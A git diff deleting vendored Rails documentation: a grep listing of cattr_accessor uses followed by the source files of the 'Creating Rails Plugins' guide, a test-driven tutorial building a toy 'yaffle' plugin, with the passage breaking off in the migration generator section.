-
-
-actionmailer/lib/action_mailer/base.rb
-257:    cattr_accessor :logger
-267:    cattr_accessor :smtp_settings
-273:    cattr_accessor :sendmail_settings
-276:    cattr_accessor :raise_delivery_errors
-282:    cattr_accessor :perform_deliveries
-285:    cattr_accessor :deliveries
-288:    cattr_accessor :default_charset
-291:    cattr_accessor :default_content_type
-294:    cattr_accessor :default_mime_version
-297:    cattr_accessor :default_implicit_parts_order
-299:    cattr_reader :protected_instance_variables
-
-actionmailer/Rakefile
-36:  rdoc.options << '--line-numbers' << '--inline-source' << '-A cattr_accessor=object'
-
-actionpack/lib/action_controller/base.rb
-263:    cattr_reader :protected_instance_variables
-273:    cattr_accessor :asset_host
-279:    cattr_accessor :consider_all_requests_local
-285:    cattr_accessor :allow_concurrency
-317:    cattr_accessor :param_parsers
-321:    cattr_accessor :default_charset
-325:    cattr_accessor :logger
-329:    cattr_accessor :resource_action_separator
-333:    cattr_accessor :resources_path_names
-337:    cattr_accessor :request_forgery_protection_token
-341:    cattr_accessor :optimise_named_routes
-351:    cattr_accessor :use_accept_header
-361:    cattr_accessor :relative_url_root
-
-actionpack/lib/action_controller/caching/pages.rb
-55:          cattr_accessor :page_cache_directory
-58:          cattr_accessor :page_cache_extension
-
-actionpack/lib/action_controller/caching.rb
-37:        cattr_reader :cache_store
-48:        cattr_accessor :perform_caching
-
-actionpack/lib/action_controller/dispatcher.rb
-98:    cattr_accessor :error_file_path
-
-actionpack/lib/action_controller/mime_type.rb
-24:    cattr_reader :html_types, :unverifiable_types
-
-actionpack/lib/action_controller/rescue.rb
-36:      base.cattr_accessor :rescue_responses
-40:      base.cattr_accessor :rescue_templates
-
-actionpack/lib/action_controller/session/active_record_store.rb
-60:        cattr_accessor :data_column_name
-170:        cattr_accessor :connection
-173:        cattr_accessor :table_name
-177:        cattr_accessor :session_id_column
-181:        cattr_accessor :data_column
-282:      cattr_accessor :session_class
-
-actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb
-44:    cattr_accessor :included_tags, :instance_writer => false
-
-actionpack/lib/action_view/base.rb
-189:    cattr_accessor :debug_rjs
-193:    cattr_accessor :warn_cache_misses
-
-actionpack/lib/action_view/helpers/active_record_helper.rb
-7:    cattr_accessor :field_error_proc
-
-actionpack/lib/action_view/helpers/form_helper.rb
-805:    cattr_accessor :default_form_builder
-
-actionpack/lib/action_view/template_handlers/erb.rb
-47:      cattr_accessor :erb_trim_mode
-
-actionpack/test/active_record_unit.rb
-5:  cattr_accessor :able_to_connect
-6:  cattr_accessor :connected
-
-actionpack/test/controller/filters_test.rb
-286:    cattr_accessor :execution_log
-
-actionpack/test/template/form_options_helper_test.rb
-3:TZInfo::Timezone.cattr_reader :loaded_zones
-
-activemodel/lib/active_model/errors.rb
-28:    cattr_accessor :default_error_messages
-
-activemodel/Rakefile
-19:  rdoc.options << '--line-numbers' << '--inline-source' << '-A cattr_accessor=object'
-
-activerecord/lib/active_record/attribute_methods.rb
-9:      base.cattr_accessor :attribute_types_cached_by_default, :instance_writer => false
-11:      base.cattr_accessor :time_zone_aware_attributes, :instance_writer => false
-
-activerecord/lib/active_record/base.rb
-394:    cattr_accessor :logger, :instance_writer => false
-443:    cattr_accessor :configurations, :instance_writer => false
-450:    cattr_accessor :primary_key_prefix_type, :instance_writer => false
-456:    cattr_accessor :table_name_prefix, :instance_writer => false
-461:    cattr_accessor :table_name_suffix, :instance_writer => false
-467:    cattr_accessor :pluralize_table_names, :instance_writer => false
-473:    cattr_accessor :colorize_logging, :instance_writer => false
-478:    cattr_accessor :default_timezone, :instance_writer => false
-487:    cattr_accessor :schema_format , :instance_writer => false
-491:    cattr_accessor :timestamped_migrations , :instance_writer => false
-
-activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb
-11:    cattr_accessor :connection_handler, :instance_writer => false
-
-activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
-166:      cattr_accessor :emulate_booleans
-
-activerecord/lib/active_record/fixtures.rb
-498:  cattr_accessor :all_loaded_fixtures
-
-activerecord/lib/active_record/locking/optimistic.rb
-38:        base.cattr_accessor :lock_optimistically, :instance_writer => false
-
-activerecord/lib/active_record/migration.rb
-259:    cattr_accessor :verbose
-
-activerecord/lib/active_record/schema_dumper.rb
-13:    cattr_accessor :ignore_tables 
-
-activerecord/lib/active_record/serializers/json_serializer.rb
-4:      base.cattr_accessor :include_root_in_json, :instance_writer => false
-
-activerecord/Rakefile
-142:  rdoc.options << '--line-numbers' << '--inline-source' << '-A cattr_accessor=object'
-
-activerecord/test/cases/lifecycle_test.rb
-61:  cattr_reader :last_inherited
-
-activerecord/test/cases/mixin_test.rb
-9:  cattr_accessor :forced_now_time
-
-activeresource/lib/active_resource/base.rb
-206:    cattr_accessor :logger
-
-activeresource/Rakefile
-43:  rdoc.options << '--line-numbers' << '--inline-source' << '-A cattr_accessor=object'
-
-activesupport/lib/active_support/buffered_logger.rb
-17:    cattr_accessor :silencer
-
-activesupport/lib/active_support/cache.rb
-81:      cattr_accessor :logger
-
-activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
-5:#    cattr_accessor :hair_colors
-10:  def cattr_reader(*syms)
-29:  def cattr_writer(*syms)
-50:  def cattr_accessor(*syms)
-51:    cattr_reader(*syms)
-52:    cattr_writer(*syms)
-
-activesupport/lib/active_support/core_ext/logger.rb
-34:  cattr_accessor :silencer
-
-activesupport/test/core_ext/class/attribute_accessor_test.rb
-6:      cattr_accessor :foo
-7:      cattr_accessor :bar, :instance_writer => false
-
-activesupport/test/core_ext/module/synchronization_test.rb
-6:    @target.cattr_accessor :mutex, :instance_writer => false
-
-railties/doc/guides/html/creating_plugins.html
-786:      cattr_accessor <span style="color: #990000">:</span>yaffle_text_field<span style="color: #990000">,</span> <span style="color: #990000">:</span>yaffle_date_field
-860:      cattr_accessor <span style="color: #990000">:</span>yaffle_text_field<span style="color: #990000">,</span> <span style="color: #990000">:</span>yaffle_date_field
-
-railties/lib/rails_generator/base.rb
-93:      cattr_accessor :logger
-
-railties/Rakefile
-265:  rdoc.options << '--line-numbers' << '--inline-source' << '--accessor' << 'cattr_accessor=object'
-
-railties/test/rails_info_controller_test.rb
-12:    cattr_accessor :local_request
-
-Rakefile
-32:  rdoc.options << '-A cattr_accessor=object'
-
diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/acts_as_yaffle.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/acts_as_yaffle.txt
deleted file mode 100644
index de116af7..00000000
--- a/vendor/rails/railties/doc/guides/source/creating_plugins/acts_as_yaffle.txt
+++ /dev/null
@@ -1,191 +0,0 @@
-== Add an `acts_as_yaffle` method to Active Record ==
-
-A common pattern in plugins is to add a method called 'acts_as_something' to models.  In this case, you want to write a method called 'acts_as_yaffle' that adds a 'squawk' method to your models.
-
-To begin, set up your files so that you have:
-
-*vendor/plugins/yaffle/test/acts_as_yaffle_test.rb*
-
-[source, ruby]
-------------------------------------------------------
-require File.dirname(__FILE__) + '/test_helper.rb'
-
-class ActsAsYaffleTest < Test::Unit::TestCase
-end
-------------------------------------------------------
-
-*vendor/plugins/yaffle/lib/yaffle.rb*
-
-[source, ruby]
-------------------------------------------------------
-require 'yaffle/acts_as_yaffle'
-------------------------------------------------------
-
-*vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb*
-
-[source, ruby]
-------------------------------------------------------
-module Yaffle
-  # your code will go here
-end
-------------------------------------------------------
-
-Note that after requiring 'acts_as_yaffle' you also have to include it into ActiveRecord::Base so that your plugin methods will be available to the rails models.
-
-One of the most common plugin patterns for 'acts_as_yaffle' plugins is to structure your file like so:
-
-*vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb*
-
-[source, ruby]
-------------------------------------------------------
-module Yaffle
-  def self.included(base)
-    base.send :extend, ClassMethods
-  end
-
-  module ClassMethods
-    # any method placed here will apply to classes, like Hickwall
-    def acts_as_something
-      send :include, InstanceMethods
-    end
-  end
-
-  module InstanceMethods
-    # any method placed here will apply to instaces, like @hickwall
-  end
-end
-------------------------------------------------------
-
-With structure you can easily separate the methods that will be used for the class (like `Hickwall.some_method`) and the instance (like `@hickwell.some_method`).
-
-=== Add a class method ===
-
-This plugin will expect that you've added a method to your model named 'last_squawk'.  However, the plugin users might have already defined a method on their model named 'last_squawk' that they use for something else.  This plugin will allow the name to be changed by adding a class method called 'yaffle_text_field'.
-
-To start out, write a failing test that shows the behavior you'd like:
-
-*vendor/plugins/yaffle/test/acts_as_yaffle_test.rb*
-
-[source, ruby]
-------------------------------------------------------
-require File.dirname(__FILE__) + '/test_helper.rb'
-
-class Hickwall < ActiveRecord::Base
-  acts_as_yaffle
-end
-
-class Wickwall < ActiveRecord::Base
-  acts_as_yaffle :yaffle_text_field => :last_tweet
-end
-
-class ActsAsYaffleTest < Test::Unit::TestCase
-  load_schema
-
-  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
-    assert_equal "last_squawk", Hickwall.yaffle_text_field
-  end
-
-  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
-    assert_equal "last_tweet", Wickwall.yaffle_text_field
-  end
-end
-------------------------------------------------------
-
-To make these tests pass, you could modify your `acts_as_yaffle` file like so:
-
-*vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb*
-
-[source, ruby]
-------------------------------------------------------
-module Yaffle
-  def self.included(base)
-    base.send :extend, ClassMethods
-  end
-
-  module ClassMethods
-    def acts_as_yaffle(options = {})
-      cattr_accessor :yaffle_text_field
-      self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
-    end
-  end
-end
-
-ActiveRecord::Base.send :include, Yaffle
-------------------------------------------------------
-
-=== Add an instance method ===
-
-This plugin will add a method named 'squawk' to any Active Record objects that call 'acts_as_yaffle'.  The 'squawk' method will simply set the value of one of the fields in the database.
-
-To start out, write a failing test that shows the behavior you'd like:
-
-*vendor/plugins/yaffle/test/acts_as_yaffle_test.rb*
-
-[source, ruby]
-------------------------------------------------------
-require File.dirname(__FILE__) + '/test_helper.rb'
-
-class Hickwall < ActiveRecord::Base
-  acts_as_yaffle
-end
-
-class Wickwall < ActiveRecord::Base
-  acts_as_yaffle :yaffle_text_field => :last_tweet
-end
-
-class ActsAsYaffleTest < Test::Unit::TestCase
-  load_schema
-
-  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
-    assert_equal "last_squawk", Hickwall.yaffle_text_field
-  end
-
-  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
-    assert_equal "last_tweet", Wickwall.yaffle_text_field
-  end
-  
-  def test_hickwalls_squawk_should_populate_last_squawk
-    hickwall = Hickwall.new
-    hickwall.squawk("Hello World")
-    assert_equal "squawk! Hello World", hickwall.last_squawk
-  end  
-  
-  def test_wickwalls_squawk_should_populate_last_tweeted_at
-    wickwall = Wickwall.new
-    wickwall.squawk("Hello World")
-    assert_equal "squawk! Hello World", wickwall.last_tweet
-  end  
-end
-------------------------------------------------------
-
-Run this test to make sure the last two tests fail, then update 'acts_as_yaffle.rb' to look like this:
-
-*vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb*
-
-[source, ruby]
-------------------------------------------------------
-module Yaffle
-  def self.included(base)
-    base.send :extend, ClassMethods
-  end
-
-  module ClassMethods
-    def acts_as_yaffle(options = {})
-      cattr_accessor :yaffle_text_field
-      self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
-      send :include, InstanceMethods
-    end
-  end
-
-  module InstanceMethods
-    def squawk(string)
-      write_attribute(self.class.yaffle_text_field, string.to_squawk)
-    end
-  end
-end
-
-ActiveRecord::Base.send :include, Yaffle
-------------------------------------------------------
-
-.Editor's note:
-NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use.  For example, you could also use `send("#{self.class.yaffle_text_field}=", string.to_squawk)`.
diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/appendix.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/appendix.txt
deleted file mode 100644
index a78890cc..00000000
--- a/vendor/rails/railties/doc/guides/source/creating_plugins/appendix.txt
+++ /dev/null
@@ -1,46 +0,0 @@
-== Appendix ==
-
-=== References ===
-
- * http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-i
- * http://nubyonrails.com/articles/2006/05/09/the-complete-guide-to-rails-plugins-part-ii
- * http://github.com/technoweenie/attachment_fu/tree/master
- * http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html
-
-=== Final plugin directory structure ===
-
-The final plugin should have a directory structure that looks something like this:
-
-------------------------------------------------
-  |-- MIT-LICENSE
-  |-- README
-  |-- Rakefile
-  |-- generators
-  |   `-- yaffle
-  |       |-- USAGE
-  |       |-- templates
-  |       |   `-- definition.txt
-  |       `-- yaffle_generator.rb
-  |-- init.rb
-  |-- install.rb
-  |-- lib
-  |   |-- acts_as_yaffle.rb
-  |   |-- commands.rb
-  |   |-- core_ext.rb
-  |   |-- routing.rb
-  |   `-- view_helpers.rb
-  |-- tasks
-  |   `-- yaffle_tasks.rake
-  |-- test
-  |   |-- acts_as_yaffle_test.rb
-  |   |-- core_ext_test.rb
-  |   |-- database.yml
-  |   |-- debug.log
-  |   |-- routing_test.rb
-  |   |-- schema.rb
-  |   |-- test_helper.rb
-  |   `-- view_helpers_test.rb
-  |-- uninstall.rb
-  `-- yaffle_plugin.sqlite3.db
-------------------------------------------------
-
diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/controllers.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/controllers.txt
deleted file mode 100644
index ee408adb..00000000
--- a/vendor/rails/railties/doc/guides/source/creating_plugins/controllers.txt
+++ /dev/null
@@ -1,59 +0,0 @@
-== Add a controller ==
-
-This section describes how to add a controller named 'woodpeckers' to your plugin that will behave the same as a controller in your main app.  This is very similar to adding a model.
-
-You can test your plugin's controller as you would test any other controller:
-
-*vendor/plugins/yaffle/yaffle/woodpeckers_controller_test.rb:*
-
-[source, ruby]
-----------------------------------------------
-require File.dirname(__FILE__) + '/test_helper.rb'
-require 'woodpeckers_controller'
-require 'action_controller/test_process'
-
-class WoodpeckersController; def rescue_action(e) raise e end; end
-
-class WoodpeckersControllerTest < Test::Unit::TestCase
-  def setup
-    @controller = WoodpeckersController.new
-    @request = ActionController::TestRequest.new
-    @response = ActionController::TestResponse.new
-  end
-
-  def test_index
-    get :index
-    assert_response :success
-  end
-end
-----------------------------------------------
-
-This is just a simple test to make sure the controller is being loaded correctly.  After watching it fail with `rake`, you can make it pass like so:
-
-*vendor/plugins/yaffle/lib/yaffle.rb:*
-
-[source, ruby]
-----------------------------------------------
-%w{ models controllers }.each do |dir|
-  path = File.join(File.dirname(__FILE__), 'app', dir)
-  $LOAD_PATH << path
-  ActiveSupport::Dependencies.load_paths << path
-  ActiveSupport::Dependencies.load_once_paths.delete(path)
-end
-----------------------------------------------
-
-
-*vendor/plugins/yaffle/lib/app/controllers/woodpeckers_controller.rb:*
-
-[source, ruby]
-----------------------------------------------
-class WoodpeckersController < ActionController::Base
-  
-  def index
-    render :text => "Squawk!"
-  end
-  
-end
-----------------------------------------------
-
-Now your test should be passing, and you should be able to use the Woodpeckers controller in your app.  If you add a route for the woodpeckers controller you can start up your server and go to http://localhost:3000/woodpeckers to see your controller in action.
diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/core_ext.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/core_ext.txt
deleted file mode 100644
index ca8efc3d..00000000
--- a/vendor/rails/railties/doc/guides/source/creating_plugins/core_ext.txt
+++ /dev/null
@@ -1,123 +0,0 @@
-== Extending core classes ==
-
-This section will explain how to add a method to String that will be available anywhere in your rails app by:
-
- * Writing tests for the desired behavior
- * Creating and requiring the correct files
-
-=== Creating the test ===
-
-In this example you will add a method to String named `to_squawk`.  To begin, create a new test file with a few assertions:
-
-*vendor/plugins/yaffle/test/core_ext_test.rb*
-
-[source, ruby]
---------------------------------------------------------
-require File.dirname(__FILE__) + '/test_helper.rb'
-
-class CoreExtTest < Test::Unit::TestCase
-  def test_to_squawk_prepends_the_word_squawk
-    assert_equal "squawk! Hello World", "Hello World".to_squawk
-  end
-end
---------------------------------------------------------
-
-Navigate to your plugin directory and run `rake test`:
-
---------------------------------------------------------
-cd vendor/plugins/yaffle
-rake test
---------------------------------------------------------
-
-The test above should fail with the message:
-
---------------------------------------------------------
- 1) Error:
-test_to_squawk_prepends_the_word_squawk(CoreExtTest):
-NoMethodError: undefined method `to_squawk' for "Hello World":String
-    ./test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk'
---------------------------------------------------------
-
-Great - now you are ready to start development.
-
-=== Organize your files ===
-
-A common pattern in rails plugins is to set up the file structure like this:
-
---------------------------------------------------------
-|-- lib
-|   |-- yaffle
-|   |   `-- core_ext.rb
-|   `-- yaffle.rb
---------------------------------------------------------
-
-The first thing we need to to is to require our 'lib/yaffle.rb' file from 'rails/init.rb':
-
-*vendor/plugins/yaffle/rails/init.rb*
-
-[source, ruby]
---------------------------------------------------------
-require 'yaffle'
---------------------------------------------------------
-
-Then in 'lib/yaffle.rb' require 'lib/core_ext.rb':
-
-*vendor/plugins/yaffle/lib/yaffle.rb*
-
-[source, ruby]
---------------------------------------------------------
-require "yaffle/core_ext"
---------------------------------------------------------
-
-Finally, create the 'core_ext.rb' file and add the 'to_squawk' method:
-
-*vendor/plugins/yaffle/lib/yaffle/core_ext.rb*
-
-[source, ruby]
---------------------------------------------------------
-String.class_eval do
-  def to_squawk
-    "squawk! #{self}".strip
-  end
-end
---------------------------------------------------------
-
-To test that your method does what it says it does, run the unit tests with `rake` from your plugin directory.  To see this in action, fire up a console and start squawking:
-
---------------------------------------------------------
-$ ./script/console
->> "Hello World".to_squawk
-=> "squawk! Hello World"
---------------------------------------------------------
-
-=== Working with init.rb ===
-
-When rails loads plugins it looks for the file named init.rb.  However, when the plugin is initialized, 'init.rb' is invoked via `eval` (not `require`) so it has slightly different behavior.
-
-Under certain circumstances if you reopen classes or modules in 'init.rb' you may inadvertently create a new class, rather than reopening an existing class.  A better alternative is to reopen the class in a different file, and require that file from `init.rb`, as shown above.
-
-If you must reopen a class in `init.rb` you can use `module_eval` or `class_eval` to avoid any issues:
-
-*vendor/plugins/yaffle/init.rb*
-
-[source, ruby]
----------------------------------------------------
-Hash.class_eval do
-  def is_a_special_hash?
-    true
-  end
-end
----------------------------------------------------
-
-Another way is to explicitly define the top-level module space for all modules and classes, like `::Hash`:
-
-*vendor/plugins/yaffle/init.rb*
-
-[source, ruby]
----------------------------------------------------
-class ::Hash
-  def is_a_special_hash?
-    true
-  end
-end
----------------------------------------------------
diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/custom_route.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/custom_route.txt
deleted file mode 100644
index 1fce902a..00000000
--- a/vendor/rails/railties/doc/guides/source/creating_plugins/custom_route.txt
+++ /dev/null
@@ -1,69 +0,0 @@
-== Add a Custom Route ==
-
-Testing routes in plugins can be complex, especially if the controllers are also in the plugin itself.  Jamis Buck showed a great example of this in http://weblog.jamisbuck.org/2006/10/26/monkey-patching-rails-extending-routes-2.
-
-*vendor/plugins/yaffle/test/routing_test.rb*
-
-[source, ruby]
---------------------------------------------------------
-require "#{File.dirname(__FILE__)}/test_helper"
-
-class RoutingTest < Test::Unit::TestCase
-
-  def setup
-    ActionController::Routing::Routes.draw do |map|
-      map.yaffles
-    end
-  end
-
-  def test_yaffles_route
-    assert_recognition :get, "/yaffles", :controller => "yaffles_controller", :action => "index"
-  end
-
-  private
-
-    # yes, I know about assert_recognizes, but it has proven problematic to
-    # use in these tests, since it uses RouteSet#recognize (which actually
-    # tries to instantiate the controller) and because it uses an awkward
-    # parameter order.
-    def assert_recognition(method, path, options)
-      result = ActionController::Routing::Routes.recognize_path(path, :method => method)
-      assert_equal options, result
-    end
-end
---------------------------------------------------------
-
-*vendor/plugins/yaffle/init.rb*
-
-[source, ruby]
---------------------------------------------------------
-require "routing"
-ActionController::Routing::RouteSet::Mapper.send :include, Yaffle::Routing::MapperExtensions
---------------------------------------------------------
-
-*vendor/plugins/yaffle/lib/routing.rb*
-
-[source, ruby]
---------------------------------------------------------
-module Yaffle #:nodoc:
-  module Routing #:nodoc:
-    module MapperExtensions
-      def yaffles
-        @set.add_route("/yaffles", {:controller => "yaffles_controller", :action => "index"})
-      end
-    end
-  end
-end
---------------------------------------------------------
-
-*config/routes.rb*
-
-[source, ruby]
---------------------------------------------------------
-ActionController::Routing::Routes.draw do |map|
-  ...
-  map.yaffles
-end
---------------------------------------------------------
-
-You can also see if your routes work by running `rake routes` from your app directory.
diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/gem.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/gem.txt
deleted file mode 100644
index 93f5e0ee..00000000
--- a/vendor/rails/railties/doc/guides/source/creating_plugins/gem.txt
+++ /dev/null
@@ -1 +0,0 @@
-http://www.mbleigh.com/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins
\ No newline at end of file
diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/generator_method.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/generator_method.txt
deleted file mode 100644
index 126692f2..00000000
--- a/vendor/rails/railties/doc/guides/source/creating_plugins/generator_method.txt
+++ /dev/null
@@ -1,89 +0,0 @@
-== Add a custom generator command ==
-
-You may have noticed above that you can used one of the built-in rails migration commands `migration_template`.  If your plugin needs to add and remove lines of text from existing files you will need to write your own generator methods.
-
-This section describes how you you can create your own commands to add and remove a line of text from 'routes.rb'.  This example creates a very simple method that adds or removes a text file.
-
-To start, add the following test method:
-
-*vendor/plugins/yaffle/test/generator_test.rb*
-
-[source, ruby]
------------------------------------------------------------
-def test_generates_definition
-  Rails::Generator::Scripts::Generate.new.run(["yaffle", "bird"], :destination => fake_rails_root)
-  definition = File.read(File.join(fake_rails_root, "definition.txt"))
-  assert_match /Yaffle\:/, definition
-end
------------------------------------------------------------
-
-Run `rake` to watch the test fail, then make the test pass add the following:
-
-*vendor/plugins/yaffle/generators/yaffle/templates/definition.txt*
-
------------------------------------------------------------
-Yaffle: A bird
------------------------------------------------------------
-
-*vendor/plugins/yaffle/lib/yaffle.rb*
-
-[source, ruby]
------------------------------------------------------------
-require "yaffle/commands"
------------------------------------------------------------
-
-*vendor/plugins/yaffle/lib/commands.rb*
-
-[source, ruby]
------------------------------------------------------------
-require 'rails_generator'
-require 'rails_generator/commands'
-
-module Yaffle #:nodoc:
-  module Generator #:nodoc:
-    module Commands #:nodoc:
-      module Create
-        def yaffle_definition
-          file("definition.txt", "definition.txt")
-        end
-      end
-
-      module Destroy
-        def yaffle_definition
-          file("definition.txt", "definition.txt")
-        end
-      end
-
-      module List
-        def yaffle_definition
-          file("definition.txt", "definition.txt")
-        end
-      end
-
-      module Update
-        def yaffle_definition
-          file("definition.txt", "definition.txt")
-        end
-      end
-    end
-  end
-end
-
-Rails::Generator::Commands::Create.send   :include,  Yaffle::Generator::Commands::Create
-Rails::Generator::Commands::Destroy.send  :include,  Yaffle::Generator::Commands::Destroy
-Rails::Generator::Commands::List.send     :include,  Yaffle::Generator::Commands::List
-Rails::Generator::Commands::Update.send   :include,  Yaffle::Generator::Commands::Update
------------------------------------------------------------
-
-Finally, call your new method in the manifest:
-
-*vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb*
-
-[source, ruby]
------------------------------------------------------------
-class YaffleGenerator < Rails::Generator::NamedBase
-  def manifest
-    m.yaffle_definition
-  end
-end
------------------------------------------------------------
diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/helpers.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/helpers.txt
deleted file mode 100644
index 51b4cebb..00000000
--- a/vendor/rails/railties/doc/guides/source/creating_plugins/helpers.txt
+++ /dev/null
@@ -1,51 +0,0 @@
-== Add a helper ==
-
-This section describes how to add a helper named 'WoodpeckersHelper' to your plugin that will behave the same as a helper in your main app.  This is very similar to adding a model and a controller.
-
-You can test your plugin's helper as you would test any other helper:
-
-*vendor/plugins/yaffle/test/woodpeckers_helper_test.rb*
-
-[source, ruby]
----------------------------------------------------------------
-require File.dirname(__FILE__) + '/test_helper.rb'
-include WoodpeckersHelper
-
-class WoodpeckersHelperTest < Test::Unit::TestCase
-  def test_tweet
-    assert_equal "Tweet! Hello", tweet("Hello")
-  end
-end
----------------------------------------------------------------
-
-This is just a simple test to make sure the helper is being loaded correctly.  After watching it fail with `rake`, you can make it pass like so:
-
-*vendor/plugins/yaffle/lib/yaffle.rb:*
-
-[source, ruby]
-----------------------------------------------
-%w{ models controllers helpers }.each do |dir|
-  path = File.join(File.dirname(__FILE__), 'app', dir)
-  $LOAD_PATH << path
-  ActiveSupport::Dependencies.load_paths << path
-  ActiveSupport::Dependencies.load_once_paths.delete(path)
-end
-
-ActionView::Base.send :include, WoodpeckersHelper
-----------------------------------------------
-
-
-*vendor/plugins/yaffle/lib/app/helpers/woodpeckers_helper.rb:*
-
-[source, ruby]
-----------------------------------------------
-module WoodpeckersHelper
-  
-  def tweet(text)
-    "Tweet! #{text}"
-  end
-  
-end
-----------------------------------------------
-
-Now your test should be passing, and you should be able to use the Woodpeckers helper in your app.
diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/index.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/index.txt
deleted file mode 100644
index 19484e28..00000000
--- a/vendor/rails/railties/doc/guides/source/creating_plugins/index.txt
+++ /dev/null
@@ -1,52 +0,0 @@
-The Basics of Creating Rails Plugins
-====================================
-
-A Rails plugin is either an extension or a modification of the core framework. Plugins provide:
-
- * a way for developers to share bleeding-edge ideas without hurting the stable code base
- * a segmented architecture so that units of code can be fixed or updated on their own release schedule
- * an outlet for the core developers so that they don’t have to include every cool new feature under the sun
-
-After reading this guide you should be familiar with:
- 
- * Creating a plugin from scratch
- * Writing and running tests for the plugin
- * Storing models, views, controllers, helpers and even other plugins in your plugins
- * Writing generators
- * Writing custom Rake tasks in your plugin
- * Generating RDoc documentation for your plugin
- * Avoiding common pitfalls with 'init.rb'
-
-This guide describes how to build a test-driven plugin that will:
-
- * Extend core ruby classes like Hash and String
- * Add methods to ActiveRecord::Base in the tradition of the 'acts_as' plugins
- * Add a view helper that can be used in erb templates
- * Add a new generator that will generate a migration
- * Add a custom generator command
- * A custom route method that can be used in routes.rb
-
-For the purpose of this guide pretend for a moment that you are an avid bird watcher.  Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle goodness.  First, you need to get setup for development.
-
-
-include::test_setup.txt[]
-
-include::core_ext.txt[]
-
-include::acts_as_yaffle.txt[]
-
-include::migration_generator.txt[]
-
-include::generator_method.txt[]
-
-include::models.txt[]
-
-include::controllers.txt[]
-
-include::helpers.txt[]
-
-include::custom_route.txt[]
-
-include::odds_and_ends.txt[]
-
-include::appendix.txt[]
diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/migration_generator.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/migration_generator.txt
deleted file mode 100644
index f4fc3248..00000000
--- a/vendor/rails/railties/doc/guides/source/creating_plugins/migration_generator.txt
+++ /dev/null
@@ -1,156 +0,0 @@
-== Create a generator ==
-
-Many plugins ship with generators.  When you created the plugin above, you specified the --with-generator option, so you already have the generator stubs in 'vendor/plugins/yaffle/generators/yaffle'.
-
-Building generators is a complex topic unto itself and this section will cover one small aspect of generators:  creating a generator that adds a time-stamped migration.
-
-To create a generator you must:
-
- * Add your instructions to the 'manifest' method of the generator
- * Add any necessary template files to the templates directory
- * Test the generator manually by running various combinations of `script/generate` and `script/destroy`
- * Update the USAGE file to add helpful documentation for your generator
-
-=== Testing generators ===
-
-Many rails plugin authors do not test their generators, however testing generators is quite simple.  A typical generator test does the following:
-
- * Creates a new fake rails root directory that will serve as destination
- * Runs the generator forward and backward, making whatever assertions are necessary
- * Removes the fake rails root
-
-For the generator in this section, the test could look something like this:
-
-*vendor/plugins/yaffle/test/yaffle_generator_test.rb*
-
-[source, ruby]
-------------------------------------------------------------------
-require File.dirname(__FILE__) + '/test_helper.rb'
-require 'rails_generator'
-require 'rails_generator/scripts/generate'
-require 'rails_generator/scripts/destroy'
-
-class GeneratorTest < Test::Unit::TestCase
-
-  def fake_rails_root
-    File.join(File.dirname(__FILE__), 'rails_root')
-  end
-  
-  def file_list
-    Dir.glob(File.join(fake_rails_root, "db", "migrate", "*"))
-  end
-
-  def setup
-    FileUtils.mkdir_p(fake_rails_root)
-    @original_files = file_list
-  end
-
-  def teardown
-    FileUtils.rm_r(fake_rails_root)
-  end
-  
-  def test_generates_correct_file_name
-    Rails::Generator::Scripts::Generate.new.run(["yaffle", "bird"], :destination => fake_rails_root)
-    new_file = (file_list - @original_files).first
-    assert_match /add_yaffle_fields_to_bird/, new_file
-  end
-  
-end
-------------------------------------------------------------------
-
-You can run 'rake' from the plugin directory to see this fail.  Unless you are doing more advanced generator commands it typically suffices to just test the Generate script, and trust that rails will handle the Destroy and Update commands for you.
-
-=== Adding to the manifest ===
-
-This example will demonstrate how to use one of the built-in generator methods named 'migration_template' to create a migration file.  To start, update your generator file to look like this:
-
-*vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb*
-
-[source, ruby]
-------------------------------------------------------------------
-class YaffleGenerator < Rails::Generator::NamedBase
-  def manifest
-    record do |m|
-      m.migration_template 'migration:migration.rb', "db/migrate", {:assigns => yaffle_local_assigns,
-        :migration_file_name => "add_yaffle_fields_to_#{custom_file_name}"
-      }
-    end
-  end
-
-  private
-    def custom_file_name
-      custom_name = class_name.underscore.downcase
-      custom_name = custom_name.pluralize if ActiveRecord::Base.pluralize_table_names
-    end
-
